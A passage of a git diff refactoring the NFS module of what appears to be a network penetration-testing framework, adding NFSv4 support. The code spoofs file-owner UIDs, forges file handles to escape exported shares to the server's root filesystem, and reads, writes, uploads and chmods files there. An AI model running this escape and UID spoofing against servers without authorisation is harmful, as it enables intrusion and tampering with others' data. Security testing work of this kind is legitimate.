                                 file_handle = entry["name_handle"]["handle"]["data"]
-                                attrs = self.nfs3.getattr(file_handle, auth=self.auth)
+                                attrs = self.update_auth(file_handle)
                                 file_size = attrs["attributes"]["size"]
                                 file_size = convert_size(file_size)
                                 uid = attrs["attributes"]["uid"]
@@ -189,135 +260,93 @@ class nfs(connection):
                         # Processing next entries recursively
                         contents += process_entries(entry["nextentry"], path, uid, recurse)
 
+                if self.args.nfs_auth == "sys":
+                    self.auth.update(directory_auth)
                 return contents
             except Exception as e:
                 self.logger.debug(f"Error on Listing Entries for NFS Shares: {self.host}:{self.port} {e}")
 
-        attrs = self.nfs3.getattr(file_handle, auth=self.auth)
-        self.auth["uid"] = attrs["attributes"]["uid"]
+        attrs = self.update_auth(file_handle)
+        directory_auth = dict(self.auth)
 
         if recurse == 0:
             read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
-            return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": self.auth["uid"]}]
+            return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": attrs["attributes"]["uid"]}]
 
-        items = self.nfs3.readdirplus(file_handle, auth=self.auth)
+        items = self.nfs.readdirplus(file_handle, auth=self.rpc_auth)
         if "resfail" in items:
             raise Exception("Insufficient Permissions")
         else:
             entries = items["resok"]["reply"]["entries"]
 
-        return process_entries(entries, path, self.auth["uid"], recurse)
-
-    def export_info(self, export_nodes):
-        """Enumerates all NFS shares and their access range"""
-        networks = []
-        for node in export_nodes:
-
-            # Collect the names of the groups associated with this export node
-            group_names = self.group_names(node.ex_groups) or ["Everyone"]
-            networks.append(group_names)
-
-            # If there are more export nodes, process them recursively. More than one share.
-            if node.ex_next:
-                networks.extend(self.export_info(node.ex_next))
-
-        return networks
-
-    def group_names(self, groups):
-        """Enumerates all access range of the share(s)"""
-        result = []
-        for group in groups:
-            result.append(group.gr_name.decode())
-
-            # If there are more IP's, process them recursively.
-            if group.gr_next:
-                result.extend(self.group_names(group.gr_next))
-
-        return result
+        return process_entries(entries, path, attrs["attributes"]["uid"], recurse)
 
     def shares(self):
         self.logger.display("Enumerating NFS Shares")
         try:
-            # Connect to NFS
-            nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-            self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-            self.nfs3.connect()
-
-            output_export = str(self.mount.export())
-            networks = self.export_info(self.mount.export())
-
-            reg = re.compile(r"ex_dir=b'([^']*)'")  # Get share names
-            shares = list(reg.findall(output_export))
+            self.connect_nfs()
 
             # Mount shares and check permissions
-            self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
-            self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
-            for share, network in zip(shares, networks, strict=True):
+            self.logger.highlight(f"{'UID':<11} {'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
+            self.logger.highlight(f"{'---':<11} {'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
+            for share, network in self.nfs.exports():
                 try:
-                    mnt_info = self.mount.mnt(share, self.auth)
+                    mnt_info = self.nfs.root_handle(share)
                     self.logger.debug(f"Mounted {share} - {mnt_info}")
                     if mnt_info["status"] != 0:
-                        self.logger.debug(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}")
+                        self.logger.debug(f"Error mounting share {share}: {self.nfs.status_name(mnt_info['status'])}")
                         self.logger.highlight(f"{'-':<11}{'---':<9}{'---'}/{'---':<12} {share:<30} {', '.join(network) if network else 'No network':<15}")
                     else:
                         file_handle = mnt_info["mountinfo"]["fhandle"]
 
-                        info = self.nfs3.fsstat(file_handle, self.auth)
+                        info = self.nfs.fsstat(file_handle, auth=self.rpc_auth)
                         free_space = info["resok"]["fbytes"]
                         total_space = info["resok"]["tbytes"]
                         used_space = total_space - free_space
 
                         # Autodetectting the uid needed for the share
-                        attrs = self.nfs3.getattr(file_handle, auth=self.auth)
-                        self.auth["uid"] = attrs["attributes"]["uid"]
+                        attrs = self.update_auth(file_handle)
 
                         read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
-                        self.mount.umnt(self.auth)
+                        self.nfs.unmount()
                         self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network)
-                        self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
+                        self.logger.highlight(f"{attrs['attributes']['uid']:<11} {'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
                 except Exception as e:
                     self.logger.fail(f"Failed to list share: {share} - {e}")
 
         except Exception as e:
             self.logger.fail(f"Error on Enumeration NFS Shares: {self.host}:{self.port} {e}")
-        finally:
-            self.nfs3.disconnect()
 
     def get_permissions(self, file_handle):
         """Check permissions for the file handle"""
         try:
-            read_perm = self.nfs3.access(file_handle, ACCESS3_READ, self.auth).get("resok", {}).get("access", 0) is ACCESS3_READ
-        except Exception:
+            read_perm = self.nfs.access(file_handle, ACCESS3_READ, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_READ
+        except Exception as e:
+            self.logger.debug(f"NFS read access check failed: {e}")
             read_perm = False
         try:
-            write_perm = self.nfs3.access(file_handle, ACCESS3_MODIFY, self.auth).get("resok", {}).get("access", 0) is ACCESS3_MODIFY
-        except Exception:
+            write_perm = self.nfs.access(file_handle, ACCESS3_MODIFY, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_MODIFY
+        except Exception as e:
+            self.logger.debug(f"NFS write access check failed: {e}")
             write_perm = False
         try:
-            exec_perm = self.nfs3.access(file_handle, ACCESS3_EXECUTE, self.auth).get("resok", {}).get("access", 0) is ACCESS3_EXECUTE
-        except Exception:
+            exec_perm = self.nfs.access(file_handle, ACCESS3_EXECUTE, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_EXECUTE
+        except Exception as e:
+            self.logger.debug(f"NFS execute access check failed: {e}")
             exec_perm = False
         return read_perm, write_perm, exec_perm
 
     def enum_shares(self):
         try:
-            nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-            self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-            self.nfs3.connect()
-
-            # Mounting NFS Shares
-            output_export = str(self.mount.export())
-            reg = re.compile(r"ex_dir=b'([^']*)'")
-            shares = list(reg.findall(output_export))
-            networks = self.export_info(self.mount.export())
+            self.connect_nfs()
 
             self.logger.display("Enumerating NFS Shares Directories")
-            for share, network in zip(shares, networks, strict=True):
+            for share, network in self.nfs.exports():
                 try:
-                    mount_info = self.mount.mnt(share, self.auth)
+                    mount_info = self.nfs.root_handle(share)
                     self.logger.debug(f"Mounted {share} - {mount_info}")
                     if mount_info["status"] != 0:
-                        self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}")
+                        self.logger.fail(f"Error mounting share {share}: {self.nfs.status_name(mount_info['status'])}")
                         continue
 
                     fhandle = mount_info["mountinfo"]["fhandle"]
@@ -325,10 +354,10 @@ class nfs(connection):
 
                     self.logger.success(share)
                     if contents:
-                        self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
-                        self.logger.highlight(f"{'---':<11}{'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
+                        self.logger.highlight(f"{'UID':<11} {'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
+                        self.logger.highlight(f"{'---':<11} {'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
                     for content in contents:
-                        self.logger.highlight(f"{content['uid']:<11}{'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
+                        self.logger.highlight(f"{content['uid']:<11} {'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
                 except Exception as e:
                     if "RPC_AUTH_ERROR: AUTH_REJECTEDCRED" in str(e):
                         self.logger.fail(f"{share} - RPC Access denied")
@@ -341,8 +370,6 @@ class nfs(connection):
         except Exception as e:
             self.logger.debug(f"Error on Listing NFS Shares Directories: {self.host}:{self.port} {e}")
             self.logger.debug("It is probably unknown format or can not access as anonymously.")
-        finally:
-            self.nfs3.disconnect()
 
     def get_file(self):
         """Downloads a file from the NFS share"""
@@ -356,30 +383,18 @@ class nfs(connection):
 
         self.logger.display(f"Downloading {remote_file_path} to {local_file_path}")
         try:
-            # Connect to NFS
-            nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-            self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-            self.nfs3.connect()
+            self.connect_nfs()
 
-            # Mount the NFS share or get the root handle
-            if self.root_escape and not self.args.share:
-                mount_fh = self.escape_fh
-            elif not self.args.share:
-                self.logger.fail("No root escape possible, please specify a share")
+            mount_fh = self.selected_root_handle()
+            if mount_fh is None:
                 return
-            else:
-                mnt_info = self.mount.mnt(self.args.share, self.auth)
-                if mnt_info["status"] != 0:
-                    self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
-                    return
-                mount_fh = mnt_info["mountinfo"]["fhandle"]
 
             # Iterate over the path until we hit the file
             curr_fh = mount_fh
             for sub_path in remote_file_path.lstrip("/").split("/"):
                 # Update the UID for the next object and get the handle
                 self.update_auth(curr_fh)
-                res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
+                res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
 
                 # Check for a bad path
                 if "resfail" in res and res["status"] == NFS3ERR_NOENT:
@@ -401,7 +416,7 @@ class nfs(connection):
             # Loop until we have read the entire file
             with open(local_file_path, "wb+") as local_file:
                 while not eof:
-                    file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
+                    file_data = self.nfs.read(curr_fh, offset, auth=self.rpc_auth)
 
                     if "resfail" in file_data:
                         raise Exception("Insufficient Permissions")
@@ -419,7 +434,7 @@ class nfs(connection):
             self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}")
 
             # Unmount the share
-            self.mount.umnt(self.auth)
+            self.nfs.unmount()
         except Exception as e:
             self.logger.fail(f'Error retrieving file "{file_name}" from "{remote_dir_path}": {e}')
             if os.path.exists(local_file_path) and os.path.getsize(local_file_path) == 0:
@@ -442,37 +457,25 @@ class nfs(connection):
 
         self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
         try:
-            # Connect to NFS
-            nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-            self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-            self.nfs3.connect()
+            self.connect_nfs()
 
-            # Mount the NFS share or get the root handle
-            if self.root_escape and not self.args.share:
-                mount_fh = self.escape_fh
-            elif not self.args.share:
-                self.logger.fail("No root escape possible, please specify a share")
+            mount_fh = self.selected_root_handle()
+            if mount_fh is None:
                 return
-            else:
-                mnt_info = self.mount.mnt(self.args.share, self.auth)
-                if mnt_info["status"] != 0:
-                    self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
-                    return
-                mount_fh = mnt_info["mountinfo"]["fhandle"]
 
             # Iterate over the path
             curr_fh = mount_fh
             # If target dir is "" or "/" without filter we would get one item with [""]
             for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))):
                 self.update_auth(curr_fh)
-                res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
+                res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
 
                 # If the path does not exist, create it
                 if "resfail" in res and res["status"] == NFS3ERR_NOENT:
                     self.logger.display(f"Creating directory '/{sub_path}/'")
-                    res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth)
+                    res = self.nfs.mkdir(curr_fh, sub_path, 0o777, auth=self.rpc_auth)
                     if res["status"] != 0:
-                        self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}")
+                        self.logger.fail(f"Error creating directory '/{sub_path}/': {self.nfs.status_name(res['status'])}")
                         return
                     else:
                         curr_fh = res["resok"]["obj"]["handle"]["data"]
@@ -484,18 +487,18 @@ class nfs(connection):
             self.update_auth(curr_fh)
 
             # Checking if file_name already exists on remote file path
-            lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
+            lookup_response = self.nfs.lookup(curr_fh, file_name, auth=self.rpc_auth)
+            open_auth = self.auth_snapshot(self.rpc_auth)
 
             # If success, file_name does not exist on remote machine. Else, trying to overwrite it.
             if lookup_response["resok"] is None:
                 # Create file
                 self.logger.display(f"Trying to create {remote_file_path}")
-                res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth)
+                res = self.nfs.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=open_auth)
                 if res["status"] != 0:
-                    raise Exception(NFSSTAT3[res["status"]])
+                    raise Exception(self.nfs.status_name(res["status"]))
                 else:
                     file_handle = res["resok"]["obj"]["handle"]["data"]
-                    self.update_auth(file_handle)
                 self.logger.success(f"'{file_name}' successfully created")
             else:
                 # Asking the user if they want to overwrite the file
@@ -506,34 +509,39 @@ class nfs(connection):
                 else:
                     return
 
-            # Update the UID and GID for the file
-            self.update_auth(file_handle)
-
-            # Use wtpref as the chunk size
-            res = self.nfs3.fsinfo(file_handle, auth=self.auth)
-            if res["status"] != 0:
-                self.logger.fail(f"Error getting FSINFO for {remote_file_path}: {NFSSTAT3[res['status']]}")
-                return
-            chunk_size = res["resok"]["wtpref"]
-
-            self.logger.display(f"Transferring data from '{local_file_path}' to '{remote_file_path}'")
             try:
-                offset = 0
-                with open(local_file_path, "rb") as file:
-                    while chunk := file.read(chunk_size):
-                        # Write the data to the remote file
-                        res = self.nfs3.write(file_handle, offset, len(chunk), chunk, 1, auth=self.auth)
-                        if res["status"] != 0:
-                            self.logger.fail(f"Error writing to '{remote_file_path}': {NFSSTAT3[res['status']]}")
-                            return
-                        offset += len(chunk)
+                # Update the UID and GID for the file without changing the identity used by NFSv4 OPEN state.
+                self.update_auth(file_handle)
 
-                self.logger.success(f"Data from '{local_file_path}' successfully written to '{remote_file_path}' with permissions 777")
-            except Exception as e:
-                self.logger.fail(f"Could not write to '{local_file_path}': {e}")
+                # Use wtpref as the chunk size
+                res = self.nfs.fsinfo(file_handle, auth=self.rpc_auth)
+                if res["status"] != 0:
+                    self.logger.fail(f"Error getting FSINFO for {remote_file_path}: {self.nfs.status_name(res['status'])}")
+                    return
+                chunk_size = res["resok"]["wtpref"]
+
+                self.logger.display(f"Transferring data from '{local_file_path}' to '{remote_file_path}'")
+                try:
+                    offset = 0
+                    with open(local_file_path, "rb") as file:
+                        while chunk := file.read(chunk_size):
+                            # Write the data to the remote file
+                            res = self.nfs.write(file_handle, offset, len(chunk), chunk, 1, auth=open_auth)
+                            if res["status"] != 0:
+                                self.logger.fail(f"Error writing to '{remote_file_path}': {self.nfs.status_name(res['status'])}")
+                                return
+                            offset += len(chunk)
+
+                    self.logger.success(f"Data from '{local_file_path}' successfully written to '{remote_file_path}' with permissions 777")
+                except Exception as e:
+                    self.logger.fail(f"Could not write to '{local_file_path}': {e}")
+            finally:
+                response = self.nfs.close(file_handle, auth=open_auth)
+                if response["status"] != 0:
+                    self.logger.fail(f"Error closing '{remote_file_path}': {self.nfs.status_name(response['status'])}")
 
             # Unmount the share
-            self.mount.umnt(self.auth)
+            self.nfs.unmount()
         except Exception as e:
             self.logger.fail(f"Error writing file to share {remote_file_path}: {e}")
         else:
@@ -541,23 +549,11 @@ class nfs(connection):
 
     def chmod(self):
         try:
-            # Connect to NFS
-            nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-            self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-            self.nfs3.connect()
+            self.connect_nfs()
 
-            # Mount the NFS share or get the root handle
-            if self.root_escape and not self.args.share:
-                mount_fh = self.escape_fh
-            elif not self.args.share:
-                self.logger.fail("No root escape possible, please specify a share")
+            mount_fh = self.selected_root_handle()
+            if mount_fh is None:
                 return
-            else:
-                mnt_info = self.mount.mnt(self.args.share, self.auth)
-                if mnt_info["status"] != 0:
-                    self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
-                    return
-                mount_fh = mnt_info["mountinfo"]["fhandle"]
 
             # Iterate over the path
             curr_fh = mount_fh
@@ -568,7 +564,7 @@ class nfs(connection):
             # If target dir is "" or "/" without filter we would get one item with [""]
             for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
                 self.update_auth(curr_fh)
-                res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
+                res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
 
                 # If the path does not exist, create it
                 if "resfail" in res and res["status"] == NFS3ERR_NOENT:
@@ -580,16 +576,16 @@ class nfs(connection):
             self.update_auth(curr_fh)
 
             # Checking if file_name already exists on remote file path
-            lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
+            lookup_response = self.nfs.lookup(curr_fh, file_name, auth=self.rpc_auth)
 
             if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
                 self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
                 return
 
-            current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
-            res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
+            current_privs = self.nfs.getattr(lookup_response["resok"]["object"]["data"], auth=self.rpc_auth)["attributes"]["mode"]
+            res = self.nfs.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.rpc_auth)
             if "resfail" in res:
-                self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
+                self.logger.fail(f"Failed to change permissions for '{filepath}': {self.nfs.status_name(res['status'])}")
             else:
                 self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
         except Exception as e:
@@ -611,12 +607,12 @@ class nfs(connection):
         """
         # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3])
         # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
-        dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth))
+        dir_data = self.format_directory(self.nfs.readdirplus(mount_fh, auth=self.rpc_auth))
         filesystem = FileID.unknown
         for entry in dir_data:
             # Check if "." is already the root directory
             if entry["name"] == b".":
-                if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]:
+                if entry["name_handle"]["handle"]["data"][0] in [2, 0x80]:
                     self.logger.debug("Exported share is already the root directory")
                     return [entry["name_handle"]["handle"]["data"]]
             elif entry["name"] == b"..":
@@ -635,8 +631,12 @@ class nfs(connection):
         self.logger.debug(f"Filesystem type: {filesystem}")
 
         # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length)
+        if len(mount_fh) < 4 or mount_fh[2] not in fsid_lens:
+            return []
         fh_fsid_type = mount_fh[2]
         fh_fsid_len = fsid_lens[fh_fsid_type]
+        if len(mount_fh) < 4 + fh_fsid_len:
+            return []
         root_handles = []
 
         # Generate possible root handles
@@ -649,12 +649,12 @@ class nfs(connection):
         if filesystem in [FileID.btrfs, FileID.unknown]:
             # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
             for i in range(16):
-                subvolume = int.to_bytes(i) + b"\x01\x00\x00"
+                subvolume = i.to_bytes(1, "big") + b"\x01\x00\x00"
                 root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"))  # ruff: ignore[missing-whitespace-around-arithmetic-operator]
 
         return root_handles
 
-    def try_root_escape(self) -> bool:
+    def try_root_escape(self) -> bool | None:
         """
         With an established connection look for a share that can be escaped to the root filesystem.
         If successfull, self.escape_share and self.escape_fh will be populated.
@@ -663,58 +663,44 @@ class nfs(connection):
         -------
             bool: True if root escape was successful
         """
-        if not self.nfs3:
+        if not self.nfs:
             raise Exception("NFS connection is not established")
 
-        output_export = str(self.mount.export())
-        reg = re.compile(r"ex_dir=b'([^']*)'")  # Get share names
-        shares = list(reg.findall(output_export))
-
+        shares = [share for share, network in self.nfs.exports()]
+        evaluated = False
         self.logger.debug(f"Trying root escape on shares: {shares}")
         for share in shares:
-            mount_info = self.mount.mnt(share, self.auth)
+            mount_info = self.nfs.root_handle(share)
             if mount_info["status"] != 0:
-                self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}")
-                self.mount.umnt(self.auth)
+                self.logger.debug(f"Root escape: can't list directory {share}: {self.nfs.status_name(mount_info['status'])}")
+                self.nfs.unmount()
                 continue
             mount_fh = mount_info["mountinfo"]["fhandle"]
             try:
                 possible_root_fhs = self.get_root_handles(mount_fh)
                 for fh in possible_root_fhs:
-                    if "resfail" not in self.nfs3.readdir(fh, auth=self.auth):
+                    attributes = self.nfs.getattr(fh, auth=self.rpc_auth)
+                    directory = self.nfs.readdir(fh, auth=self.rpc_auth)
+                    evaluated = True
+                    if attributes["status"] == 0 and directory["status"] == 0:
                         self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}")
                         self.escape_share = share
                         self.escape_fh = fh
-                        self.mount.umnt(self.auth)
+                        self.nfs.unmount()
                         return True
             except Exception as e:
                 self.logger.debug(f"Error trying root escape on share '{share}': {e}")
-            self.mount.umnt(self.auth)
-        return False
+            self.nfs.unmount()
+        return False if evaluated else None
 
     def ls(self):
-        # Connect to NFS
-        nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-        self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-        self.nfs3.connect()
+        self.connect_nfs()
 
         # Remove leading or trailing slashes
         self.args.ls = self.args.ls.lstrip("/").rstrip("/")
 
-        # NORMAL LS CALL (without root escape)
-        if self.args.share:
-            mount_info = self.mount.mnt(self.args.share, self.auth)
-            if mount_info["status"] != 0:
-                self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
-                return
-            else:
-                mount_fh = mount_info["mountinfo"]["fhandle"]
-        elif self.root_escape:
-            # Interestingly we don't actually have to mount the share if we already got the handle
-            self.logger.success(f"Successful escape on share: {self.escape_share}")
-            mount_fh = self.escape_fh
-        else:
-            self.logger.fail("No root escape possible, please specify a share")
+        mount_fh = self.selected_root_handle()
+        if mount_fh is None:
             return
 
         # We got a path to look up
@@ -725,13 +711,13 @@ class nfs(connection):
         for sub_path in list(filter(None, self.args.ls.split("/"))):
             # Update UID and GID for the path
             self.update_auth(curr_fh)
-            res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
+            res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
 
             if "resfail" in res and res["status"] == NFS3ERR_NOENT:
                 self.logger.fail(f"Unknown path: {self.args.ls!r}")
                 return
             elif "resfail" in res:
-                self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
+                self.logger.fail(f"Error on looking up path '{sub_path}': {self.nfs.status_name(res['status'])}")
                 return
             # If file then break and only display file
             if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
@@ -742,9 +728,9 @@ class nfs(connection):
         # Update the UID and GID for the file/dir
         self.update_auth(curr_fh)
 
-        dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth)
+        dir_listing = self.nfs.readdirplus(curr_fh, auth=self.rpc_auth)
         if dir_listing["status"] != 0:
-            self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}")
+            self.logger.fail(f"Error on listing directory: {self.nfs.status_name(dir_listing['status'])}")
             return
         content = self.format_directory(dir_listing)
 
@@ -752,7 +738,7 @@ class nfs(connection):
         while not dir_listing["resok"]["reply"]["eof"]:
             cookie_verf = dir_listing["resok"]["cookieverf"]
             cookie = content[-1]["cookie"]
-            dir_listing = self.nfs3.readdirplus(curr_fh, cookie=cookie, cookie_verf=cookie_verf, auth=self.auth)
+            dir_listing = self.nfs.readdirplus(curr_fh, cookie=cookie, cookie_verf=cookie_verf, auth=self.rpc_auth)
             more_content = self.format_directory(dir_listing)
             content.extend(more_content)
 
@@ -761,7 +747,7 @@ class nfs(connection):
         for item in content:
             if not item["name_attributes"]["present"]:
                 try:
-                    res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth)
+                    res = self.nfs.lookup(curr_fh, item["name"].decode(), auth=self.rpc_auth)
                     item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"]
                     item["name_attributes"]["present"] = True
                     item["name_handle"]["handle"] = res["resok"]["object"]
@@ -770,35 +756,20 @@ class nfs(connection):
                     self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}")
 
         # If the requested path is a file, we filter out all other files
-        path = f"{self.args.share if self.args.share else ''}/{self.args.ls}"
+        path = f"{(self.args.share or '').rstrip('/')}/{self.args.ls}"
         if is_file:
             content = [x for x in content if x["name"].decode() == sub_path]
             path = path.rsplit("/", 1)[0]   # Remove the file from the path
         self.print_directory(content, path)
 
     def cat(self):
-        # Connect to NFS
-        nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-        self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-        self.nfs3.connect()
+        self.connect_nfs()
 
         # Remove leading or trailing slashes
         self.args.cat = self.args.cat.lstrip("/").rstrip("/")
 
-        # NORMAL LS CALL (without root escape)
-        if self.args.share:
-            mount_info = self.mount.mnt(self.args.share, self.auth)
-            if mount_info["status"] != 0:
-                self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
-                return
-            else:
-                mount_fh = mount_info["mountinfo"]["fhandle"]
-        elif self.root_escape:
-            # Interestingly we don't actually have to mount the share if we already got the handle
-            self.logger.success(f"Successful escape on share: {self.escape_share}")
-            mount_fh = self.escape_fh
-        else:
-            self.logger.fail("No root escape possible, please specify a share")
+        mount_fh = self.selected_root_handle()
+        if mount_fh is None:
             return
 
         # We got a path to look up
@@ -809,13 +780,13 @@ class nfs(connection):
         for sub_path in list(filter(None, self.args.cat.split("/"))):
             # Update UID and GID for the path
             self.update_auth(curr_fh)
-            res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
+            res = self.nfs.lookup(curr_fh, sub_path, auth=self.rpc_auth)
 
             if "resfail" in res and res["status"] == NFS3ERR_NOENT:
                 self.logger.fail(f"Unknown path: {self.args.cat!r}")
                 return
             elif "resfail" in res:
-                self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
+                self.logger.fail(f"Error on looking up path '{sub_path}': {self.nfs.status_name(res['status'])}")
                 return
 
             curr_fh = res["resok"]["object"]["data"]
@@ -837,10 +808,10 @@ class nfs(connection):
         offset = 0
         eof = False
         while not eof:
-            file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
+            file_data = self.nfs.read(curr_fh, offset, auth=self.rpc_auth)
 
             if "resfail" in file_data:
-                self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {NFSSTAT3[file_data['status']]}")
+                self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {self.nfs.status_name(file_data['status'])}")
                 return
 
             else:
@@ -866,9 +837,12 @@ class nfs(connection):
         """
         # Sort items linux-like by name
         content = sorted(content, key=lambda x: x["name"].lower())
-        self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}")
-        self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}")
+        self.logger.highlight(f"{'UID':<11} {'Perms':<7}{'File Size':<14}{'File Path'}")
+        self.logger.highlight(f"{'---':<11} {'-----':<7}{'---------':<14}{'---------'}")
+        directory_auth = dict(self.auth)
         for item in content:
+            if self.args.nfs_auth == "sys":
+                self.auth.update(directory_auth)
             if not item["name_attributes"]["present"] or not item["name_handle"]["present"]:
                 uid = "-"
                 perms = "----"
@@ -876,19 +850,25 @@ class nfs(connection):
             else:
                 uid = item["name_attributes"]["attributes"]["uid"]
                 is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-"
+                self.update_auth(item["name_handle"]["handle"]["data"])
                 read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
                 perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
                 file_size = convert_size(item["name_attributes"]["attributes"]["size"])
             try:
-                self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
-            except UnicodeDecodeError:
-                self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
+                self.logger.highlight(f"{uid:<11} {perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
+            except UnicodeDecodeError as e:
+                self.logger.debug(f"NFS filename is not UTF-8: {e}")
